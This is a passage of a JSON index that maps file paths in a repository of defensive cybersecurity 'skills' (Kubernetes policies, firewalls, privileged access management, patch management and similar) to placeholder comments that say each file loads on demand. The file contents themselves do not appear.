/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-kubernetes-pod-security-standards%2FSKILL.md -->","skills/implementing-kubernetes-pod-security-standards/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-kubernetes-pod-security-standards%2Fassets%2Ftemplate.md -->","skills/implementing-kubernetes-pod-security-standards/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-kubernetes-pod-security-standards%2Freferences%2Fapi-reference.md -->","skills/implementing-kubernetes-pod-security-standards/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-kubernetes-pod-security-standards%2Freferences%2Fstandards.md -->","skills/implementing-kubernetes-pod-security-standards/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-kubernetes-pod-security-standards%2Freferences%2Fworkflows.md -->","skills/implementing-llm-guardrails-for-security/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-llm-guardrails-for-security%2FSKILL.md -->","skills/implementing-llm-guardrails-for-security/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-llm-guardrails-for-security%2Freferences%2Fapi-reference.md -->","skills/implementing-log-forwarding-with-fluentd/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-log-forwarding-with-fluentd%2FSKILL.md -->","skills/implementing-log-forwarding-with-fluentd/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-log-forwarding-with-fluentd%2Freferences%2Fapi-reference.md -->","skills/implementing-log-integrity-with-blockchain/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-log-integrity-with-blockchain%2FSKILL.md -->","skills/implementing-log-integrity-with-blockchain/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-log-integrity-with-blockchain%2Freferences%2Fapi-reference.md -->","skills/implementing-memory-protection-with-dep-aslr/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-memory-protection-with-dep-aslr%2FSKILL.md -->","skills/implementing-memory-protection-with-dep-aslr/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-memory-protection-with-dep-aslr%2Fassets%2Ftemplate.md -->","skills/implementing-memory-protection-with-dep-aslr/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-memory-protection-with-dep-aslr%2Freferences%2Fapi-reference.md -->","skills/implementing-memory-protection-with-dep-aslr/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-memory-protection-with-dep-aslr%2Freferences%2Fstandards.md -->","skills/implementing-memory-protection-with-dep-aslr/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-memory-protection-with-dep-aslr%2Freferences%2Fworkflows.md -->","skills/implementing-microsegmentation-with-guardicore/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-microsegmentation-with-guardicore%2FSKILL.md -->","skills/implementing-microsegmentation-with-guardicore/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-microsegmentation-with-guardicore%2Freferences%2Fapi-reference.md -->","skills/implementing-mimecast-targeted-attack-protection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mimecast-targeted-attack-protection%2FSKILL.md -->","skills/implementing-mimecast-targeted-attack-protection/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mimecast-targeted-attack-protection%2Fassets%2Ftemplate.md -->","skills/implementing-mimecast-targeted-attack-protection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mimecast-targeted-attack-protection%2Freferences%2Fapi-reference.md -->","skills/implementing-mimecast-targeted-attack-protection/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mimecast-targeted-attack-protection%2Freferences%2Fstandards.md -->","skills/implementing-mimecast-targeted-attack-protection/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mimecast-targeted-attack-protection%2Freferences%2Fworkflows.md -->","skills/implementing-mitre-attack-coverage-mapping/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mitre-attack-coverage-mapping%2FSKILL.md -->","skills/implementing-mitre-attack-coverage-mapping/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mitre-attack-coverage-mapping%2Fassets%2Ftemplate.md -->","skills/implementing-mitre-attack-coverage-mapping/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mitre-attack-coverage-mapping%2Freferences%2Fapi-reference.md -->","skills/implementing-mitre-attack-coverage-mapping/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mitre-attack-coverage-mapping%2Freferences%2Fstandards.md -->","skills/implementing-mitre-attack-coverage-mapping/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mitre-attack-coverage-mapping%2Freferences%2Fworkflows.md -->","skills/implementing-mobile-application-management/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mobile-application-management%2FSKILL.md -->","skills/implementing-mobile-application-management/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mobile-application-management%2Fassets%2Ftemplate.md -->","skills/implementing-mobile-application-management/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mobile-application-management%2Freferences%2Fapi-reference.md -->","skills/implementing-mobile-application-management/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mobile-application-management%2Freferences%2Fstandards.md -->","skills/implementing-mobile-application-management/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mobile-application-management%2Freferences%2Fworkflows.md -->","skills/implementing-mtls-for-zero-trust-services/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mtls-for-zero-trust-services%2FSKILL.md -->","skills/implementing-mtls-for-zero-trust-services/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-mtls-for-zero-trust-services%2Freferences%2Fapi-reference.md -->","skills/implementing-nerc-cip-compliance-controls/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-nerc-cip-compliance-controls%2FSKILL.md -->","skills/implementing-nerc-cip-compliance-controls/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-nerc-cip-compliance-controls%2Freferences%2Fapi-reference.md -->","skills/implementing-network-access-control-with-cisco-ise/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-access-control-with-cisco-ise%2FSKILL.md -->","skills/implementing-network-access-control-with-cisco-ise/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-access-control-with-cisco-ise%2Freferences%2Fapi-reference.md -->","skills/implementing-network-access-control/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-access-control%2FSKILL.md -->","skills/implementing-network-access-control/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-access-control%2Freferences%2Fapi-reference.md -->","skills/implementing-network-deception-with-honeypots/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-deception-with-honeypots%2FSKILL.md -->","skills/implementing-network-deception-with-honeypots/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-deception-with-honeypots%2Freferences%2Fapi-reference.md -->","skills/implementing-network-intrusion-prevention-with-suricata/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-intrusion-prevention-with-suricata%2FSKILL.md -->","skills/implementing-network-intrusion-prevention-with-suricata/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-intrusion-prevention-with-suricata%2Freferences%2Fapi-reference.md -->","skills/implementing-network-policies-for-kubernetes/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-policies-for-kubernetes%2FSKILL.md -->","skills/implementing-network-policies-for-kubernetes/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-policies-for-kubernetes%2Fassets%2Ftemplate.md -->","skills/implementing-network-policies-for-kubernetes/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-policies-for-kubernetes%2Freferences%2Fapi-reference.md -->","skills/implementing-network-policies-for-kubernetes/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-policies-for-kubernetes%2Freferences%2Fstandards.md -->","skills/implementing-network-policies-for-kubernetes/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-policies-for-kubernetes%2Freferences%2Fworkflows.md -->","skills/implementing-network-segmentation-for-ot/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-segmentation-for-ot%2FSKILL.md -->","skills/implementing-network-segmentation-for-ot/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-segmentation-for-ot%2Freferences%2Fapi-reference.md -->","skills/implementing-network-segmentation-with-firewall-zones/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-segmentation-with-firewall-zones%2FSKILL.md -->","skills/implementing-network-segmentation-with-firewall-zones/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-segmentation-with-firewall-zones%2Freferences%2Fapi-reference.md -->","skills/implementing-network-traffic-analysis-with-arkime/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-traffic-analysis-with-arkime%2FSKILL.md -->","skills/implementing-network-traffic-analysis-with-arkime/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-traffic-analysis-with-arkime%2Freferences%2Fapi-reference.md -->","skills/implementing-network-traffic-baselining/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-traffic-baselining%2FSKILL.md -->","skills/implementing-network-traffic-baselining/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-network-traffic-baselining%2Freferences%2Fapi-reference.md -->","skills/implementing-next-generation-firewall-with-palo-alto/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-next-generation-firewall-with-palo-alto%2FSKILL.md -->","skills/implementing-next-generation-firewall-with-palo-alto/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-next-generation-firewall-with-palo-alto%2Fassets%2Ftemplate.md -->","skills/implementing-next-generation-firewall-with-palo-alto/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-next-generation-firewall-with-palo-alto%2Freferences%2Fapi-reference.md -->","skills/implementing-next-generation-firewall-with-palo-alto/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-next-generation-firewall-with-palo-alto%2Freferences%2Fstandards.md -->","skills/implementing-next-generation-firewall-with-palo-alto/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-next-generation-firewall-with-palo-alto%2Freferences%2Fworkflows.md -->","skills/implementing-opa-gatekeeper-for-policy-enforcement/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-opa-gatekeeper-for-policy-enforcement%2FSKILL.md -->","skills/implementing-opa-gatekeeper-for-policy-enforcement/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-opa-gatekeeper-for-policy-enforcement%2Fassets%2Ftemplate.md -->","skills/implementing-opa-gatekeeper-for-policy-enforcement/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-opa-gatekeeper-for-policy-enforcement%2Freferences%2Fapi-reference.md -->","skills/implementing-opa-gatekeeper-for-policy-enforcement/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-opa-gatekeeper-for-policy-enforcement%2Freferences%2Fstandards.md -->","skills/implementing-opa-gatekeeper-for-policy-enforcement/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-opa-gatekeeper-for-policy-enforcement%2Freferences%2Fworkflows.md -->","skills/implementing-ot-incident-response-playbook/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ot-incident-response-playbook%2FSKILL.md -->","skills/implementing-ot-incident-response-playbook/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ot-incident-response-playbook%2Freferences%2Fapi-reference.md -->","skills/implementing-ot-network-traffic-analysis-with-nozomi/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ot-network-traffic-analysis-with-nozomi%2FSKILL.md -->","skills/implementing-ot-network-traffic-analysis-with-nozomi/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ot-network-traffic-analysis-with-nozomi%2Freferences%2Fapi-reference.md -->","skills/implementing-pam-for-database-access/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pam-for-database-access%2FSKILL.md -->","skills/implementing-pam-for-database-access/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pam-for-database-access%2Freferences%2Fapi-reference.md -->","skills/implementing-passwordless-auth-with-microsoft-entra/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-passwordless-auth-with-microsoft-entra%2FSKILL.md -->","skills/implementing-passwordless-auth-with-microsoft-entra/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-passwordless-auth-with-microsoft-entra%2Freferences%2Fapi-reference.md -->","skills/implementing-passwordless-authentication-with-fido2/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-passwordless-authentication-with-fido2%2FSKILL.md -->","skills/implementing-passwordless-authentication-with-fido2/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-passwordless-authentication-with-fido2%2Freferences%2Fapi-reference.md -->","skills/implementing-passwordless-authentication-with-fido2/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-passwordless-authentication-with-fido2%2Freferences%2Fstandards.md -->","skills/implementing-passwordless-authentication-with-fido2/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-passwordless-authentication-with-fido2%2Freferences%2Fworkflows.md -->","skills/implementing-patch-management-for-ot-systems/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-patch-management-for-ot-systems%2FSKILL.md -->","skills/implementing-patch-management-for-ot-systems/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-patch-management-for-ot-systems%2Freferences%2Fapi-reference.md -->","skills/implementing-patch-management-workflow/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-patch-management-workflow%2FSKILL.md -->","skills/implementing-patch-management-workflow/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-patch-management-workflow%2Fassets%2Ftemplate.md -->","skills/implementing-patch-management-workflow/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-patch-management-workflow%2Freferences%2Fapi-reference.md -->","skills/implementing-patch-management-workflow/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-patch-management-workflow%2Freferences%2Fstandards.md -->","skills/implementing-patch-management-workflow/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-patch-management-workflow%2Freferences%2Fworkflows.md -->","skills/implementing-pci-dss-compliance-controls/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pci-dss-compliance-controls%2FSKILL.md -->","skills/implementing-pci-dss-compliance-controls/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pci-dss-compliance-controls%2Fassets%2Ftemplate.md -->","skills/implementing-pci-dss-compliance-controls/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pci-dss-compliance-controls%2Freferences%2Fapi-reference.md -->","skills/implementing-pci-dss-compliance-controls/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pci-dss-compliance-controls%2Freferences%2Fstandards.md -->","skills/implementing-pci-dss-compliance-controls/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pci-dss-compliance-controls%2Freferences%2Fworkflows.md -->","skills/implementing-pod-security-admission-controller/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pod-security-admission-controller%2FSKILL.md -->","skills/implementing-pod-security-admission-controller/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pod-security-admission-controller%2Fassets%2Ftemplate.md -->","skills/implementing-pod-security-admission-controller/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pod-security-admission-controller%2Freferences%2Fapi-reference.md -->","skills/implementing-pod-security-admission-controller/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pod-security-admission-controller%2Freferences%2Fstandards.md -->","skills/implementing-pod-security-admission-controller/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-pod-security-admission-controller%2Freferences%2Fworkflows.md -->","skills/implementing-policy-as-code-with-open-policy-agent/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-policy-as-code-with-open-policy-agent%2FSKILL.md -->","skills/implementing-policy-as-code-with-open-policy-agent/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-policy-as-code-with-open-policy-agent%2Fassets%2Ftemplate.md -->","skills/implementing-policy-as-code-with-open-policy-agent/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-policy-as-code-with-open-policy-agent%2Freferences%2Fapi-reference.md -->","skills/implementing-policy-as-code-with-open-policy-agent/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-policy-as-code-with-open-policy-agent%2Freferences%2Fstandards.md -->","skills/implementing-policy-as-code-with-open-policy-agent/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-policy-as-code-with-open-policy-agent%2Freferences%2Fworkflows.md -->","skills/implementing-privileged-access-management-with-cyberark/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-privileged-access-management-with-cyberark%2FSKILL.md -->","skills/implementing-privileged-access-management-with-cyberark/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-privileged-access-management-with-cyberark%2Fassets%2Ftemplate.md -->","skills/implementing-privileged-access-management-with-cyberark/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-privileged-access-management-with-cyberark%2Freferences%2Fapi-reference.md -->","skills/implementing-privileged-access-management-with-cyberark/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-privileged-access-management-with-cyberark%2Freferences%2Fstandards.md -->","skills/implementing-privileged-access-management-with-cyberark/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-privileged-access-management-with-cyberark%2Freferences%2Fworkflows.md -->","skills/implementing-privileged-access-workstation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-privileged-access-workstation%2FSKILL.md -->","skills/implementing-privileged-access-workstation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-privileged-access-workstation%2Freferences%2Fapi-reference.md -->","skills/implementing-privileged-session-monitoring/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-privileged-session-monitoring%2FSKILL.md -->","skills/implementing-privileged-session-monitoring/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-privileged-session-monitoring%2Freferences%2Fapi-reference.md -->","skills/implementing-proofpoint-email-security-gateway/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-proofpoint-email-security-gateway%2FSKILL.md -->","skills/implementing-proofpoint-email-security-gateway/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-proofpoint-email-security-gateway%2Fassets%2Ftemplate.md -->","skills/implementing-proofpoint-email-security-gateway/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-proofpoint-email-security-gateway%2Freferences%2Fapi-reference.md -->","skills/implementing-proofpoint-email-security-gateway/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-proofpoint-email-security-gateway%2Freferences%2Fstandards.md -->","skills/implementing-proofpoint-email-security-gateway/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-proofpoint-email-security-gateway%2Freferences%2Fworkflows.md -->","skills/implementing-purdue-model-network-segmentation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-purdue-model-network-segmentation%2FSKILL.md -->","skills/implementing-purdue-model-network-segmentation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-purdue-model-network-segmentation%2Freferences%2Fapi-reference.md -->","skills/implementing-ransomware-backup-strategy/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ransomware-backup-strategy%2FSKILL.md -->","skills/implementing-ransomware-backup-strategy/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ransomware-backup-strategy%2Fassets%2Ftemplate.md -->","skills/implementing-ransomware-backup-strategy/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ransomware-backup-strategy%2Freferences%2Fapi-reference.md -->","skills/implementing-ransomware-backup-strategy/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ransomware-backup-strategy%2Freferences%2Fstandards.md -->","skills/implementing-ransomware-backup-strategy/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ransomware-backup-strategy%2Freferences%2Fworkflows.md -->","skills/implementing-ransomware-kill-switch-detection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ransomware-kill-switch-detection%2FSKILL.md -->","skills/implementing-ransomware-kill-switch-detection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-ransomware-kill-switch-detection%2Freferences%2Fapi-reference.md -->","skills/implementing-rapid7-insightvm-for-scanning/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rapid7-insightvm-for-scanning%2FSKILL.md -->","skills/implementing-rapid7-insightvm-for-scanning/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rapid7-insightvm-for-scanning%2Fassets%2Ftemplate.md -->","skills/implementing-rapid7-insightvm-for-scanning/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rapid7-insightvm-for-scanning%2Freferences%2Fapi-reference.md -->","skills/implementing-rapid7-insightvm-for-scanning/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rapid7-insightvm-for-scanning%2Freferences%2Fstandards.md -->","skills/implementing-rapid7-insightvm-for-scanning/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rapid7-insightvm-for-scanning%2Freferences%2Fworkflows.md -->","skills/implementing-rbac-hardening-for-kubernetes/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fimplementing-rbac-hardening-for-kubernetes%2FSKILL.md -->","skills/implementing-rbac-hardening-for-kubernetes/assets/template.md":"<!-- Skill available on-demand via 